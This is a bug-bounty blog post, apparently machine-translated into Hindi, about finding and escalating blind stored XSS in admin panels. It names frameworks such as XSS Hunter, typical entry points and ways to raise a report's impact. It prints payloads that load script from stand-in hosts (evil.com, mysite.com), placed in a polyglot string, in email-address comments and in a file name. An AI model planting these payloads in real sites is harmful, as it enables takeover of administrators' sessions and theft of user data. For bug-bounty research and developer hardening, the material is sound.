बग हंट, ब्लाइंड-एक्सएसएस और फॉक्स ट्रिक्स

फॉक्स शिकार के बारे में बहुत कुछ जानते हैं :)

कई लोगों ने शायद BugBounty के बारे में सुना है, पुरस्कार कमजोरियों की खोज और इसके बारे में संबंधित कहानियां। "बग हंटर्स" में से एक के रूप में, मैंने एक साल पहले हैकरऑन साइट पर अपनी यात्रा शुरू की। इस समय के दौरान, मैं विभिन्न प्रकार की कमजोरियों के बारे में बहुत कुछ सीखने में कामयाब रहा, बहुत अनुभव प्राप्त किया और अब मैं इसे समुदाय के साथ साझा करना चाहूंगा।

इस लेख में मैं एक प्रकार की भेद्यता के बारे में बात करना चाहता हूं जैसे कि ब्लाइंड क्रॉस-साइट स्क्रिप्टिंग या ब्लाइंड स्टोर की गई क्रॉस-साइट स्क्रिप्टिंग, अगर रूसी में अनुवाद किया जाए। मैं आपको बिल्ली के लिए आमंत्रित करता हूं, यदि आप ऐसे विषयों में रुचि रखते हैं या आप अपने आवेदन की सुरक्षा में सुधार करना चाहते हैं।

कई वेब एप्लिकेशन में एक प्रशासनिक पैनल या इसकी अन्य विविधताएं होती हैं जो आपको वेबसाइट की सामग्री को नियंत्रित करने, उपयोगकर्ता डेटा का प्रबंधन करने और कई अन्य विशेषाधिकार प्राप्त कार्यों को करने की अनुमति देती हैं। प्रशासनिक पोर्टल को IP पते, HTTP- ओनली कुकीज और निश्चित रूप से प्राधिकरण के एक विशिष्ट पूल तक पहुंच द्वारा संरक्षित किया जा सकता है।

हालांकि, इन सभी सुरक्षा तंत्रों को दरकिनार किया जा सकता है यदि उपयोगकर्ता द्वारा दर्ज की गई सामग्री दुर्भावनापूर्ण पाई जाती है, और एप्लिकेशन उपयोगकर्ता द्वारा भेजी गई जानकारी को ठीक से साफ नहीं करता है।

उपयोग के लिए उपकरण

पहले, आइए उन उपकरणों से परिचित हों जो हमें खोजे गए ब्लाइंड-एक्सएसएस का सफलतापूर्वक उपयोग करने की अनुमति देंगे। यह शोषण विधि द्वारा अन्य कमजोरियों से अलग है। एक दुर्भावनापूर्ण संदेश भेजकर, हम यह नहीं जानते कि जावास्क्रिप्ट को HTML पृष्ठों में सफलतापूर्वक एकीकृत किया गया था या नहीं। दुर्भावनापूर्ण कोड को तभी निष्पादित किया जाएगा जब व्यवस्थापक इस कोड के साथ पृष्ठ पर जाता है। अन्यथा, हम कभी नहीं जान सकते कि हमला सफल रहा या नहीं।

ब्लाइंड- XSS इंजेक्शन के लिए विशेष रूप से बनाए गए सभी प्रकार के ढांचे हमें परिचालन सहायता प्रदान कर सकते हैं:

1. XSS हंटर ( GitHub ) - सबसे लोकप्रिय रूपरेखाओं में से एक
2. ezXSS
3. bXSS (एसएमएस अधिसूचना के साथ)
4. elScripto

और कई अन्य। प्रत्येक ढाँचे की अपनी ख़ासियतें होती हैं, इसलिए प्रत्येक बन्धु वही चुनता है जो उसकी ज़रूरतों के लिए सबसे सुविधाजनक और उपयुक्त हो। चूंकि मैं XSS हंटर का उपयोग करता हूं, बाद में लेख में मैं इसकी विशेषताएं दूंगा और सबसे अच्छा परिणाम प्राप्त करने के लिए उनका उपयोग कैसे करूं।

रूपरेखा तैयार करने के बाद, आपको तैयार पेलोड मिलेंगे जो विभिन्न स्थितियों में लागू किए जा सकते हैं, लेकिन पॉलीग्लॉट का उपयोग अक्सर किया जाता है, उदाहरण के लिए:

\-->'></style></div></article></script><script/src=//evil.com> 

प्रवेश बिंदु या इंजेक्शन बिंदु

सभी प्रवेश बिंदु इस तथ्य से एकजुट हैं कि उनके द्वारा दर्ज की गई जानकारी जावास्क्रिप्ट कोड से ठीक से साफ नहीं हुई है और प्रशासनिक पृष्ठ के HTML संरचना में इस कोड को लागू करने की अनुमति देती है। मेरी राय में, सबसे लोकप्रिय प्रवेश बिंदु एक समर्थन संदेश है।

उन लोगों पर विचार करें जिन्हें मैं जानता हूं।

1. प्रतिक्रिया प्रपत्र

एक नियम के रूप में, इस रूप में ऐसे क्षेत्र हैं:

1. हैडर
2. संदेश
3. यदि व्यवस्थापक संदेश के लेखक से संपर्क करना चाहता है, तो कभी-कभी ईमेल पता।

इनमें से प्रत्येक क्षेत्र जावास्क्रिप्ट इंजेक्शन के लिए असुरक्षित हो सकता है। लेकिन यहाँ एक छोटी सी चाल है:

यदि आप ईमेल पता फ़ील्ड देखते हैं, तो इसे छोड़ने के लिए जल्दबाज़ी न करें यदि यह ईमेल संरचना के अलावा कुछ भी स्वीकार नहीं करता है। कोशिश करें: - "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload) - "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)

उद्धरण चिह्न और कोष्ठक ईमेल पते का एक मान्य हिस्सा हैं और यह RFC 2822 (अनुभाग 3.4.1), RFC 3696 (अनुभाग 3) के विनिर्देशों के अनुसार टिप्पणियां हैं।

मेरे सफल इंजेक्शनों में से आधे ईमेल पते की टिप्पणी के माध्यम से केवल इंजेक्शन हैं। सबसे अधिक बार, ग्राहक पक्ष (ब्राउज़र) पर जांच करना अभी भी इस तरह के ईमेल के उपयोग की अनुमति नहीं देगा। लेकिन हम जानते हैं कि ग्राहक पर जाँच का मतलब हमारे लिए कुछ भी नहीं है:


इसलिए, ईमेल पते को केवल किसी भी प्रॉक्सी एप्लिकेशन (उदाहरण के लिए, बर्प सूट) का उपयोग करके अनुरोध भेजने की प्रक्रिया में प्रतिस्थापित किया जाना चाहिए।

2. शिकायतों / सुझावों / आकलन के लिए प्रपत्र

निश्चित रूप से आपने अक्सर "लेख उपयोगी है?" (इस लेख को रेट करें) सपोर्ट पोर्टल्स पर या डॉक्यूमेंटेशन के साथ। "नहीं" बटन पर क्लिक करके, वे हमें संदेश भेजने की पेशकश कर सकते हैं कि लेख उपयोगी क्यों नहीं था और क्या सुधार किया जा सकता है। आप शायद पहले से ही समझ गए हैं कि इस मामले में हमारा पेलोड कहां होगा।

इसलिए, यदि आप प्रतिक्रिया भेजने के लिए समान ऑफ़र देखते हैं, तो आपको निश्चित रूप से उन पर ध्यान देना चाहिए और एक पेलोड भेजना चाहिए, जो अंत में सफल हो सकता है।

3. खाता पंजीकरण

हां, खाता पंजीकृत करते समय, यह बहुत कम संभावना है कि हमारे खाते को प्रशासनिक पैनल में कहीं देखा जाएगा, हालांकि, ईमेल पते में पेलोड सम्मिलित करके, हम बाद में पंजीकृत उपयोगकर्ता के रूप में साइट पर संदेश भेजने के लिए इसका उपयोग कर सकते हैं। उसी समय, प्रपत्र स्वयं ही हमारे पते को प्रशासनिक पैनल में प्रदर्शित करेंगे, इस तथ्य के बावजूद कि किसी भी फॉर्म या संदेश को भेजते समय इसका सीधे अनुरोध नहीं किया गया था।

4. ग्राहक सहायता

सबसे स्पष्ट प्रवेश बिंदु और सबसे अधिक बार शोषण किया जा रहा है। समर्थन सेवाओं के अनुरोध के लिए प्रत्येक फ़ॉर्म एक-दूसरे से बहुत भिन्न हो सकते हैं, इसलिए किसी भी फ़ील्ड पर ध्यान दें जिसमें आप एक पेलोड डाल सकते हैं।

फ़ाइलों को डाउनलोड करने की क्षमता विशेष ध्यान देने योग्य है। एक और चाल यह है कि पेलोड को फ़ाइल नाम में छोड़ा जा सकता है, उदाहरण के लिए:

 Screenshot - 12.03.2019 12_05_52"><script src=//mysite.com/1.js>.jpeg.html 

और फ़ाइल में ही स्क्रिप्ट छोड़ दें (खोजने के लिए w9w के लिए धन्यवाद)।

5. वितरण पता / कंपनी / घर

पते का उपयोग अक्सर उपयोगकर्ता के साथ बातचीत करते समय भी किया जाता है, जब उसे एक डिलीवरी सेवा, एक स्टोर, होटल आरक्षण या अन्य एप्लिकेशन के मामले में कुछ भेजने की आवश्यकता होती है जो पते को संसाधित करता है।

पता फ़ील्ड काफी सामान्य है और कभी-कभी किसी मौजूदा पते के स्तर पर सत्यापन होता है। इसलिए, आपको शुरुआत में वास्तविक पता दर्ज करने की आवश्यकता हो सकती है और इसे मानचित्र पर इंगित कर सकते हैं, और पहले से ही अनुरोध भेजने की प्रक्रिया में आवेदन के चेक को बायपास करने के लिए वैध पते पर पेलोड जोड़ सकते हैं।

6. हिडन एपीआई

कभी-कभी जावास्क्रिप्ट कोड सीखते समय, आपको एपीआई एंडपॉइंट मिल सकते हैं जो एप्लिकेशन में उपयोग में नहीं होते हैं। यह हो सकता है, उदाहरण के लिए, त्रुटियों के बारे में जानकारी भेजना, डीबग करना और पसंद करना। जेएस पर आधारित अनुरोध तैयार करना और पेलोड के साथ एक संदेश भेजना संभव है।

पोस्ट ऑपरेशन और बायपास सुरक्षा तंत्र

ब्लाइंड-एक्सएसएस के सफल संचालन से एक प्रतिक्रिया प्राप्त करने के बाद, बहुत से कमजोरियों के लिए पुरस्कार के साथ कार्यक्रम के लिए एक खोज रिपोर्ट करने की जल्दी में हैं। हालांकि, सबसे अधिक बार, ऐसी कमजोरियों को उच्च प्राथमिकता मिलती है, लेकिन महत्वपूर्ण नहीं। एक भेद्यता के संभावित दोहन से महत्वपूर्ण नुकसान को साबित करने के लिए हमारे पास कई तरीके हैं।

1. स्रोत HTML पैनल सीखना

प्रत्येक सफल ऑपरेशन के साथ, XSS हंटर हमें जानकारी भेजता है जैसे:

1. उपयोगकर्ता
2. उपयोगकर्ता-एजेंट उपयोगकर्ता
3. उपयोगकर्ता का आईपी पता
4. उस पृष्ठ का URL जिस पर स्क्रिप्ट निष्पादित की गई है
5. पेज का HTML सोर्स कोड
6. पेज स्क्रीनशॉट
7. रेफरर



एक नियम के रूप में, कोई सत्र कुकीज़ नहीं हैं, क्योंकि उनके पास HTTP-Only विशेषता है। इस मामले में, हमारे लिए सबसे उपयोगी HTML पृष्ठ का स्रोत कोड है। इसमें, अन्य चीजों के अलावा, आप जावास्क्रिप्ट पा सकते हैं। यह कोड आपको यह समझने की अनुमति देता है कि प्रशासनिक कार्यों को करने के लिए अनुरोध कैसे उत्पन्न होते हैं। इसका अध्ययन करना आवश्यक है और बर्प सूट या अन्य समान सॉफ्टवेयर में मैन्युअल रूप से एक अनुरोध बनाकर इन क्रियाओं को करने की कोशिश करें।

मेरे मामले में, व्यवस्थापक पैनल उसी डोमेन पर था जहां से मैंने पेलोड भेजा था, इसलिए मैं अतिरिक्त इंजेक्शन के बिना सभी स्क्रिप्ट खोलने में सक्षम था (हालांकि यह एक इंजेक्शन में किया जा सकता है)। मेरे आश्चर्य के लिए, हालांकि प्रशासनिक खंडों तक पहुंच को अभी भी प्राधिकरण की आवश्यकता है, मैं प्रशासनिक एपीआई को अनुरोध भेजने और सामग्री का प्रबंधन करने में कामयाब रहा जैसे कि मैं पहले से ही एक प्रशासक था।

दुर्भाग्य से, जिस कार्यक्रम में मैं इन कमजोरियों का पता लगाने में सक्षम था वह निजी है और मैं इसे जेएस कोड से अनुरोधों को निकालने की प्रक्रिया को अधिक विस्तार से नहीं बता सकता या दिखा नहीं सकता।

इस खोज के परिणामस्वरूप, मैं $ 1000 के बजाय 2500 डॉलर प्राप्त करने में सफल रहा जैसे कि यह एक उच्च प्राथमिकता वाली भेद्यता थी।

2. अधिक जानकारी प्राप्त करें।

यहां तक ​​कि अगर प्रशासनिक पैनल फ़ायरवॉल के पीछे है और मूल रूप से इसे एक्सेस करने का कोई तरीका नहीं है, तो भी आप अधिक जानकारी प्राप्त कर सकते हैं और खोजी गई भेद्यता की आलोचना को बढ़ा सकते हैं।

XSS हंटर आपको पेलोड में अपना जेएस कोड जोड़ने और पुनः प्राप्त करने के लिए अतिरिक्त पृष्ठ निर्दिष्ट करने की अनुमति देता है:



पहले सफल संचालन के बाद, आप अतिरिक्त पृष्ठ निकाल सकते हैं जो HTML पृष्ठ के स्रोत कोड का अध्ययन करने के दौरान प्राप्त किए गए थे। उसी तरह, आप व्यवस्थापक विशेषाधिकारों के साथ अनुरोध निष्पादित कर सकते हैं, लेकिन इसके लिए अधिक जटिल JS कोड की आवश्यकता होती है।

इसके अलावा, मुझे लगता है कि आप प्रशासनिक पैनल के अन्य पृष्ठों का एक पुनरावर्ती HTML निष्कर्षण जोड़ सकते हैं, जिस पर संवेदनशील जानकारी दिखाई दे सकती है, लेकिन मुझे अभी तक इसका सहारा नहीं लेना पड़ा है।

निष्कर्ष

1. मैं डेवलपर्स को ईमेल पते से संबंधित अपने सभी क्षेत्रों की जांच करने की सलाह देता हूं, क्योंकि बहुत बार बहुत से लोग ईमेल पते की संरचना के एक मानक जांच पर भरोसा करते हैं, यह ध्यान में रखते हुए कि यह पूरी तरह से वैध पते को उत्पन्न करना संभव है, लेकिन दुर्भावनापूर्ण कोड के साथ।
2. फीडबैक से संबंधित किसी भी छोटे क्षेत्रों पर ध्यान दें। वे अलग हैं और उन सभी को सूचीबद्ध करना असंभव है।
3. प्राप्त HTML पृष्ठ से अतिरिक्त जानकारी निकालने के लिए आलसी मत बनो, एक उच्च संभावना के साथ यह आपके बाउंटी को कई बार बढ़ा सकता है।
4. अपने ब्लाइंड-एक्सएसएस में से प्रत्येक के लिए महत्वपूर्ण प्रभाव साबित करने की कोशिश करें।

मैं अपने चैनल को टेलीग्राम (केवल रूसी में), साथ ही एक ट्विटर अकाउंट (अंग्रेजी में) की सदस्यता देने का प्रस्ताव करता हूं, क्योंकि इस तरह के बड़े लेखों के लिए सामग्री एकत्र करना मुश्किल है, लेकिन मैं छोटी-मोटी तरकीबें प्रकाशित कर पाता हूं और अक्सर पाया जाता है।

लिंक नीचे पाया जा सकता है।

एक अच्छा शिकार है!